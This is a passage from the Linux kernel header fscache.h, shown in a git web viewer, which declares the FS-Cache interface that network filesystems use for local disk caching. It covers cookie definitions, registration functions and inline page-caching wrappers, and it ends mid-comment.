I want to send a simple message(NSString) to my php script. I am trying to do a POST request. I am unable to do this and I am not sure what I am doing wrong. Can someone tell me my mistake?
Thank you!
PHP Code
<?php
if($_POST['error'])
{
$date= time();
$error=$_POST['error'];
$message=$date." ".$error;
echo $message;
//Rest of code just writes to a log file
?>
---------------------
NSString *post =[[NSString alloc] initWithFormat:@"error=%@",serverError];
NSData *postData = [post dataUsingEncoding:NSASCIIStringEncoding allowLossyConversion:YES];
NSString *postLength = [NSString stringWithFormat:@"%d", [postData length]];
NSMutableURLRequest *request = [[[NSMutableURLRequest alloc] init] autorelease];
[request setURL:[NSURL URLWithString:@"http://mysite.com/error.php"]];
[request setHTTPMethod:@"POST"];
[request setValue:postLength forHTTPHeaderField:@"Content-Length"];
[request setValue:@"application/x-www-form-urlencoded" forHTTPHeaderField:@"Content-Type"];
[request setHTTPBody:postData];
NSURLResponse *response;
NSError *err;
NSData *responseData = [NSURLConnection sendSynchronousRequest:request returningResponse:&response error:&err];
NSLog(@"responseData is %@", responseData);
share|improve this question
Note that this question is not about Xcode. – user529758 May 28 '13 at 6:40
what is the response? or there is no response at all? Try printing the error description just like you've printed the response data... you might get some idea.. if you dont, post the response/error in you question too... – lukya May 28 '13 at 6:45
@lukya So the response is that is not writing to the file and the NSLog is returning"ResponseData is <>" Thanks! – Teddy13 May 28 '13 at 7:04
@Teddy13 After you call +sendSynchronousRequest:returningResponse:error:, what is the value of 'err'? Is it initialized? Like lukya said, can you print out the value of 'err'? – Jason Barker May 28 '13 at 7:34
@JasonBarker I am not sure how to print the "err" but I fixed something in my php script that was giving an error (an extra comma). It is still not working but I have figured out it has something to do with the post statement sent from the app. responseData is now returning "<626c6168 68683133 36393732 36373636 20546869 73206973 20726561 6c6c7920 626164>" – Teddy13 May 28 '13 at 7:40
show 2 more comments
1 Answer
up vote 2 down vote accepted
Try this
NSString *post = [NSString stringWithFormat:@"error=%@", serverError];
rather than
NSString *post = [[NSString alloc] initWithFormat:@"error=%@", serverError];
share|improve this answer
It Worked. Thank you! – Teddy13 May 28 '13 at 8:00
+1 for such a nice answer... – Vineet Singh May 31 '13 at 4:16
add comment
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
{
"url": "http://stackoverflow.com/questions/16785385/simple-post-message-to-server",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2014-10",
"warc_metadata": {
"Content-Length": "69831",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:G4DG6EMXQWVSMFSVCM6QF2HS34MALJ6Z",
"WARC-Concurrent-To": "<urn:uuid:ce2df75b-9eff-4a72-aa74-8a64c0596570>",
"WARC-Date": "2014-03-17T06:05:14Z",
"WARC-IP-Address": "198.252.206.140",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:UJD7PZLOLXV5KDITLKHA2DPKMPNCLRPM",
"WARC-Record-ID": "<urn:uuid:52e294c1-3140-46e1-b2d1-2e9d916d8dcf>",
"WARC-Target-URI": "http://stackoverflow.com/questions/16785385/simple-post-message-to-server",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:927933fc-6137-426f-a730-920abf2c08dd>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-142-35.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-10\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
25,
157,
158,
348,
349,
360,
361,
370,
371,
378,
379,
399,
401,
416,
440,
467,
468,
483,
484,
525,
529,
530,
552,
553,
628,
629,
748,
749,
826,
827,
908,
979,
980,
1013,
1081,
1173,
1205,
1206,
1231,
1245,
1357,
1401,
1429,
1431,
1508,
1510,
1759,
1761,
1904,
1906,
2117,
2119,
2507,
2528,
2529,
2538,
2539,
2568,
2569,
2578,
2579,
2650,
2651,
2663,
2664,
2741,
2742,
2768,
2770,
2822,
2824,
2888,
2900,
2901,
2913,
2914,
2916,
2924,
2925,
3003,
3004
],
"line_end_idx": [
25,
157,
158,
348,
349,
360,
361,
370,
371,
378,
379,
399,
401,
416,
440,
467,
468,
483,
484,
525,
529,
530,
552,
553,
628,
629,
748,
749,
826,
827,
908,
979,
980,
1013,
1081,
1173,
1205,
1206,
1231,
1245,
1357,
1401,
1429,
1431,
1508,
1510,
1759,
1761,
1904,
1906,
2117,
2119,
2507,
2528,
2529,
2538,
2539,
2568,
2569,
2578,
2579,
2650,
2651,
2663,
2664,
2741,
2742,
2768,
2770,
2822,
2824,
2888,
2900,
2901,
2913,
2914,
2916,
2924,
2925,
3003,
3004,
3094
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3094,
"ccnet_original_nlines": 81,
"rps_doc_curly_bracket": 0.0003232099988963455,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2562499940395355,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0234375,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.34687501192092896,
"rps_doc_frac_unique_words": 0.5349397659301758,
"rps_doc_mean_word_length": 5.539759159088135,
"rps_doc_num_sentences": 30,
"rps_doc_symbol_to_word_ratio": 0.004687500186264515,
"rps_doc_unigram_entropy": 5.043886661529541,
"rps_doc_word_count": 415,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.022183559834957123,
"rps_doc_frac_chars_dupe_6grams": 0.022183559834957123,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.012179209850728512,
"rps_doc_frac_chars_top_3gram": 0.018268810585141182,
"rps_doc_frac_chars_top_4gram": 0.023488469421863556,
"rps_doc_books_importance": -295.3985595703125,
"rps_doc_books_importance_length_correction": -295.3985595703125,
"rps_doc_openwebtext_importance": -173.45176696777344,
"rps_doc_openwebtext_importance_length_correction": -173.45176696777344,
"rps_doc_wikipedia_importance": -166.00775146484375,
"rps_doc_wikipedia_importance_length_correction": -166.00775146484375
},
"fasttext": {
"dclm": 0.17682361602783203,
"english": 0.7593445777893066,
"fineweb_edu_approx": 1.3378183841705322,
"eai_general_math": 0.006025140173733234,
"eai_open_web_math": 0.13420552015304565,
"eai_web_code": 0.000009059999683813658
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "1",
"label": "Leftover HTML"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
1,136,856,005,930,616,700 |
Why Lifehacker Readers Switched to Linux
We may earn a commission from links on this page.
We asked the devoted Linux users, the dual-Windows-and-Linux-booters, and the newer converts to the open-source operating system last week why they made the switch to Linux, and received over 330 responses as of this posting. The answers were sometimes level-headed, often passionate in their embrace of open-source culture, and occasionally induced a laugh (or a cringe) with tales of the last straw before switching. Read on for a look at why a good number of Lifehacker readers took the time to learn, customize, and adopt to Linux. Photo by Sphinx the Geek.
Older hardware
It makes sense that inheriting an old laptop or desktop, or upgrading to a newer system, would inspire many folks to check out an operating system that usually costs less than $1—the cost of a CD-R—to use and install. Two of our commenters described how a free Linux CD revived an old system. Photo by ryanrocketship. micjwelch:
... I had an old laptop that just wasn't doing very well. I was ready to get rid of it, but thought I'd give Linux a try. I installed Ubuntu and suddenly all the hardware worked, the OS ran smooth, and the laptop was actually quite useful again.
aj.hidell:
What else can run so smoothly on old hardware? I did a HDD install of Damn Small Linux on a 233mhz, 96mb, 3gb hdd, severely antiquated Thinkpad 560x. I have turned it into a quick web-surfing, emailing, m3-playing machine. Resurrected from the dead!
Dislike of Microsoft's practices/OS
We tried to make it apparent that we weren't asking for a laundry list of popular Vista/XP grievances, but it's hard to ignore the obvious—some of the requirements and demands the Redmond giant places on its customers caused some of you to seek out a more welcoming alternative: NICU:
Windows Genuine Advantage made me switch. I rightfully owned my copy of XP and they came up with that garbage to ensure my copy was "genuine" (and it was). Microsoft's guilty-until-proven-innocent attitude turned me off from Windows.
Commenter dspratomo was more than just annoyed at copyright "reminders"—Windows products in his country were the source of extortion and accusations:
First time copyright law exist in my country it was a chaos, because most of the software is the pirated version, and the police just keep asking for legitimate software actually they're just looking for excuse for bribe, because back then even the police and the law court using pirated software ....
Pure curiosity!
This one is easy to understand. Linux is definitely friendly to anyone who wants to tweak their desktop, set up automated actions, or reinvent their system's look entirely. But early-bird commenter XPditer put it best:
Q: Why do people climb Mt. Everest? A: Because it's there.
Photo by BotheredByBees. carignan.boy:
I wanted to try something new. What happened to the satisfaction of achieving something on a computer? Yes Linux is hard at times. But the rewards are tenfold. You discover the beauty after you find out how Linux can easily be an Apache, FTP, SVC or RDP server. Also, it's so much prettier than Vista or OS X. I mean how awesome is the desktop Cube or Cylinder!
beau.raines:
The tipping point was during the Christmas holiday last year. My work PC's disk failed and I was able to get it up and running faster with an Ubuntu install (restored my data from an online backup). I kept Windoze installed in a dual boot mode once I got a new disk, but use it less than once a month now, if at all.
The merits of Linux itself
Cake isn't just an alternative to ice cream, and Linux isn't just an alternative to Windows. The OS is based on one of the most tried-and-true system in the world, and it's geared toward letting users do whatever their imaginations and skills can allow. Here's a few examples of users taking a shine to this ethos. Photo by Charl van Niekirk. sensibile:
Ubuntu makes a better OS: Plain and simple. It really is. I'll take a command line and config files over window's registry and dll hell anyday! More proof: windows update vs. ubuntu update manager. My wife's xp machine will reboot on her while she is working if she doesn't click the restart later button every 5 minutes. She has 10 programs constantly bugging her about updates avaialble from her system tray. Instead in linux, update manager handles it all in one place, only needing a reboot on kernel updates (about every 2 months.)
zoomZAP:
That was a Sunday evening, and the whole next week I didn't boot into Windows at all (and this is my work machine). By the next weekend I was so completely hooked on Linux that I couldn't believe that I hadn't started using it years ago. All that time wasted downloading and cracking software, when there's such an abundance of excellent free and open source software just a click away!
Those are just a few of the comments we spotted in our original post. If you've got a unique story to tell, do so in the comments.
|
{
"url": "https://lifehacker.com/why-lifehacker-readers-switched-to-linux-5044212",
"source_domain": "lifehacker.com",
"snapshot_id": "CC-MAIN-2023-40",
"warc_metadata": {
"Content-Length": "192740",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:LMSP3XHRUN5RKNTTXMDSU6VMZVZHNXBX",
"WARC-Concurrent-To": "<urn:uuid:55185304-a04c-47de-bfe3-0965dbfa3186>",
"WARC-Date": "2023-10-02T06:01:42Z",
"WARC-IP-Address": "151.101.194.166",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:3R6ERKBCRPF47UDZTDSANUMLSE7IKFT6",
"WARC-Record-ID": "<urn:uuid:4fc65ea2-05ce-4a69-aab6-95017034e76e>",
"WARC-Target-URI": "https://lifehacker.com/why-lifehacker-readers-switched-to-linux-5044212",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:287dcfbe-ae70-4ff9-9c86-0babbab8120f>"
},
"warc_info": "isPartOf: CC-MAIN-2023-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-115\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
41,
42,
92,
93,
655,
656,
671,
672,
1001,
1002,
1248,
1249,
1260,
1261,
1511,
1512,
1548,
1549,
1834,
1835,
2069,
2070,
2220,
2221,
2523,
2524,
2540,
2541,
2760,
2761,
2820,
2821,
2860,
2861,
3223,
3224,
3237,
3238,
3555,
3556,
3583,
3584,
3938,
3939,
4476,
4477,
4486,
4487,
4874,
4875
],
"line_end_idx": [
41,
42,
92,
93,
655,
656,
671,
672,
1001,
1002,
1248,
1249,
1260,
1261,
1511,
1512,
1548,
1549,
1834,
1835,
2069,
2070,
2220,
2221,
2523,
2524,
2540,
2541,
2760,
2761,
2820,
2821,
2860,
2861,
3223,
3224,
3237,
3238,
3555,
3556,
3583,
3584,
3938,
3939,
4476,
4477,
4486,
4487,
4874,
4875,
5005
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 5005,
"ccnet_original_nlines": 50,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.41899439692497253,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.033519551157951355,
"rps_doc_frac_lines_end_with_ellipsis": 0.019607840105891228,
"rps_doc_frac_no_alph_words": 0.15549348294734955,
"rps_doc_frac_unique_words": 0.5179606080055237,
"rps_doc_mean_word_length": 4.574739456176758,
"rps_doc_num_sentences": 57,
"rps_doc_symbol_to_word_ratio": 0.0018621999770402908,
"rps_doc_unigram_entropy": 5.570075511932373,
"rps_doc_word_count": 863,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.011651470325887203,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.00759878009557724,
"rps_doc_frac_chars_top_3gram": 0.005572440102696419,
"rps_doc_frac_chars_top_4gram": 0.010638300329446793,
"rps_doc_books_importance": -449.776611328125,
"rps_doc_books_importance_length_correction": -449.776611328125,
"rps_doc_openwebtext_importance": -295.5891418457031,
"rps_doc_openwebtext_importance_length_correction": -295.5891418457031,
"rps_doc_wikipedia_importance": -156.4698028564453,
"rps_doc_wikipedia_importance_length_correction": -156.4698028564453
},
"fasttext": {
"dclm": 0.2058618664741516,
"english": 0.9589112997055054,
"fineweb_edu_approx": 1.4961998462677002,
"eai_general_math": 0.1143692135810852,
"eai_open_web_math": 0.17281842231750488,
"eai_web_code": 0.1242133378982544
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.02856",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "1",
"label": "News/Editorial"
},
"secondary": {
"code": "14",
"label": "Reviews/Critiques"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-3,867,947,801,909,491,000 |
aboutsummaryrefslogtreecommitdiffstats
path: root/include/linux/fscache.h
blob: 7c4d72f5581f34ec81580edf108810e4319285e5 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
/* General filesystem caching interface
*
* Copyright (C) 2004-2007 Red Hat, Inc. All Rights Reserved.
* Written by David Howells ([email protected])
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*
* NOTE!!! See:
*
* Documentation/filesystems/caching/netfs-api.txt
*
* for a description of the network filesystem interface declared here.
*/
#ifndef _LINUX_FSCACHE_H
#define _LINUX_FSCACHE_H
#include <linux/fs.h>
#include <linux/list.h>
#include <linux/pagemap.h>
#include <linux/pagevec.h>
#if defined(CONFIG_FSCACHE) || defined(CONFIG_FSCACHE_MODULE)
#define fscache_available() (1)
#define fscache_cookie_valid(cookie) (cookie)
#else
#define fscache_available() (0)
#define fscache_cookie_valid(cookie) (0)
#endif
/*
* overload PG_private_2 to give us PG_fscache - this is used to indicate that
* a page is currently backed by a local disk cache
*/
#define PageFsCache(page) PagePrivate2((page))
#define SetPageFsCache(page) SetPagePrivate2((page))
#define ClearPageFsCache(page) ClearPagePrivate2((page))
#define TestSetPageFsCache(page) TestSetPagePrivate2((page))
#define TestClearPageFsCache(page) TestClearPagePrivate2((page))
/* pattern used to fill dead space in an index entry */
#define FSCACHE_INDEX_DEADFILL_PATTERN 0x79
struct pagevec;
struct fscache_cache_tag;
struct fscache_cookie;
struct fscache_netfs;
typedef void (*fscache_rw_complete_t)(struct page *page,
void *context,
int error);
/* result of index entry consultation */
enum fscache_checkaux {
FSCACHE_CHECKAUX_OKAY, /* entry okay as is */
FSCACHE_CHECKAUX_NEEDS_UPDATE, /* entry requires update */
FSCACHE_CHECKAUX_OBSOLETE, /* entry requires deletion */
};
/*
* fscache cookie definition
*/
struct fscache_cookie_def {
/* name of cookie type */
char name[16];
/* cookie type */
uint8_t type;
#define FSCACHE_COOKIE_TYPE_INDEX 0
#define FSCACHE_COOKIE_TYPE_DATAFILE 1
/* select the cache into which to insert an entry in this index
* - optional
* - should return a cache identifier or NULL to cause the cache to be
* inherited from the parent if possible or the first cache picked
* for a non-index file if not
*/
struct fscache_cache_tag *(*select_cache)(
const void *parent_netfs_data,
const void *cookie_netfs_data);
/* get an index key
* - should store the key data in the buffer
* - should return the amount of data stored
* - not permitted to return an error
* - the netfs data from the cookie being used as the source is
* presented
*/
uint16_t (*get_key)(const void *cookie_netfs_data,
void *buffer,
uint16_t bufmax);
/* get certain file attributes from the netfs data
* - this function can be absent for an index
* - not permitted to return an error
* - the netfs data from the cookie being used as the source is
* presented
*/
void (*get_attr)(const void *cookie_netfs_data, uint64_t *size);
/* get the auxiliary data from netfs data
* - this function can be absent if the index carries no state data
* - should store the auxiliary data in the buffer
* - should return the amount of amount stored
* - not permitted to return an error
* - the netfs data from the cookie being used as the source is
* presented
*/
uint16_t (*get_aux)(const void *cookie_netfs_data,
void *buffer,
uint16_t bufmax);
/* consult the netfs about the state of an object
* - this function can be absent if the index carries no state data
* - the netfs data from the cookie being used as the target is
* presented, as is the auxiliary data
*/
enum fscache_checkaux (*check_aux)(void *cookie_netfs_data,
const void *data,
uint16_t datalen);
/* get an extra reference on a read context
* - this function can be absent if the completion function doesn't
* require a context
*/
void (*get_context)(void *cookie_netfs_data, void *context);
/* release an extra reference on a read context
* - this function can be absent if the completion function doesn't
* require a context
*/
void (*put_context)(void *cookie_netfs_data, void *context);
/* indicate pages that now have cache metadata retained
* - this function should mark the specified pages as now being cached
* - the pages will have been marked with PG_fscache before this is
* called, so this is optional
*/
void (*mark_pages_cached)(void *cookie_netfs_data,
struct address_space *mapping,
struct pagevec *cached_pvec);
/* indicate the cookie is no longer cached
* - this function is called when the backing store currently caching
* a cookie is removed
* - the netfs should use this to clean up any markers indicating
* cached pages
* - this is mandatory for any object that may have data
*/
void (*now_uncached)(void *cookie_netfs_data);
};
/*
* fscache cached network filesystem type
* - name, version and ops must be filled in before registration
* - all other fields will be set during registration
*/
struct fscache_netfs {
uint32_t version; /* indexing version */
const char *name; /* filesystem name */
struct fscache_cookie *primary_index;
struct list_head link; /* internal link */
};
/*
* slow-path functions for when there is actually caching available, and the
* netfs does actually have a valid token
* - these are not to be called directly
* - these are undefined symbols when FS-Cache is not configured and the
* optimiser takes care of not using them
*/
extern int __fscache_register_netfs(struct fscache_netfs *);
extern void __fscache_unregister_netfs(struct fscache_netfs *);
extern struct fscache_cache_tag *__fscache_lookup_cache_tag(const char *);
extern void __fscache_release_cache_tag(struct fscache_cache_tag *);
extern struct fscache_cookie *__fscache_acquire_cookie(
struct fscache_cookie *,
const struct fscache_cookie_def *,
void *);
extern void __fscache_relinquish_cookie(struct fscache_cookie *, int);
extern void __fscache_update_cookie(struct fscache_cookie *);
extern int __fscache_attr_changed(struct fscache_cookie *);
extern int __fscache_read_or_alloc_page(struct fscache_cookie *,
struct page *,
fscache_rw_complete_t,
void *,
gfp_t);
extern int __fscache_read_or_alloc_pages(struct fscache_cookie *,
struct address_space *,
struct list_head *,
unsigned *,
fscache_rw_complete_t,
void *,
gfp_t);
extern int __fscache_alloc_page(struct fscache_cookie *, struct page *, gfp_t);
extern int __fscache_write_page(struct fscache_cookie *, struct page *, gfp_t);
extern void __fscache_uncache_page(struct fscache_cookie *, struct page *);
extern bool __fscache_check_page_write(struct fscache_cookie *, struct page *);
extern void __fscache_wait_on_page_write(struct fscache_cookie *, struct page *);
extern bool __fscache_maybe_release_page(struct fscache_cookie *, struct page *,
gfp_t);
/**
* fscache_register_netfs - Register a filesystem as desiring caching services
* @netfs: The description of the filesystem
*
* Register a filesystem as desiring caching services if they're available.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
int fscache_register_netfs(struct fscache_netfs *netfs)
{
if (fscache_available())
return __fscache_register_netfs(netfs);
else
return 0;
}
/**
* fscache_unregister_netfs - Indicate that a filesystem no longer desires
* caching services
* @netfs: The description of the filesystem
*
* Indicate that a filesystem no longer desires caching services for the
* moment.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
void fscache_unregister_netfs(struct fscache_netfs *netfs)
{
if (fscache_available())
__fscache_unregister_netfs(netfs);
}
/**
* fscache_lookup_cache_tag - Look up a cache tag
* @name: The name of the tag to search for
*
* Acquire a specific cache referral tag that can be used to select a specific
* cache in which to cache an index.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
struct fscache_cache_tag *fscache_lookup_cache_tag(const char *name)
{
if (fscache_available())
return __fscache_lookup_cache_tag(name);
else
return NULL;
}
/**
* fscache_release_cache_tag - Release a cache tag
* @tag: The tag to release
*
* Release a reference to a cache referral tag previously looked up.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
void fscache_release_cache_tag(struct fscache_cache_tag *tag)
{
if (fscache_available())
__fscache_release_cache_tag(tag);
}
/**
* fscache_acquire_cookie - Acquire a cookie to represent a cache object
* @parent: The cookie that's to be the parent of this one
* @def: A description of the cache object, including callback operations
* @netfs_data: An arbitrary piece of data to be kept in the cookie to
* represent the cache object to the netfs
*
* This function is used to inform FS-Cache about part of an index hierarchy
* that can be used to locate files. This is done by requesting a cookie for
* each index in the path to the file.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
struct fscache_cookie *fscache_acquire_cookie(
struct fscache_cookie *parent,
const struct fscache_cookie_def *def,
void *netfs_data)
{
if (fscache_cookie_valid(parent))
return __fscache_acquire_cookie(parent, def, netfs_data);
else
return NULL;
}
/**
* fscache_relinquish_cookie - Return the cookie to the cache, maybe discarding
* it
* @cookie: The cookie being returned
* @retire: True if the cache object the cookie represents is to be discarded
*
* This function returns a cookie to the cache, forcibly discarding the
* associated cache object if retire is set to true.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
void fscache_relinquish_cookie(struct fscache_cookie *cookie, int retire)
{
if (fscache_cookie_valid(cookie))
__fscache_relinquish_cookie(cookie, retire);
}
/**
* fscache_update_cookie - Request that a cache object be updated
* @cookie: The cookie representing the cache object
*
* Request an update of the index data for the cache object associated with the
* cookie.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
void fscache_update_cookie(struct fscache_cookie *cookie)
{
if (fscache_cookie_valid(cookie))
__fscache_update_cookie(cookie);
}
/**
* fscache_pin_cookie - Pin a data-storage cache object in its cache
* @cookie: The cookie representing the cache object
*
* Permit data-storage cache objects to be pinned in the cache.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
int fscache_pin_cookie(struct fscache_cookie *cookie)
{
return -ENOBUFS;
}
/**
* fscache_pin_cookie - Unpin a data-storage cache object in its cache
* @cookie: The cookie representing the cache object
*
* Permit data-storage cache objects to be unpinned from the cache.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
void fscache_unpin_cookie(struct fscache_cookie *cookie)
{
}
/**
* fscache_attr_changed - Notify cache that an object's attributes changed
* @cookie: The cookie representing the cache object
*
* Send a notification to the cache indicating that an object's attributes have
* changed. This includes the data size. These attributes will be obtained
* through the get_attr() cookie definition op.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
int fscache_attr_changed(struct fscache_cookie *cookie)
{
if (fscache_cookie_valid(cookie))
return __fscache_attr_changed(cookie);
else
return -ENOBUFS;
}
/**
* fscache_reserve_space - Reserve data space for a cached object
* @cookie: The cookie representing the cache object
* @i_size: The amount of space to be reserved
*
* Reserve an amount of space in the cache for the cache object attached to a
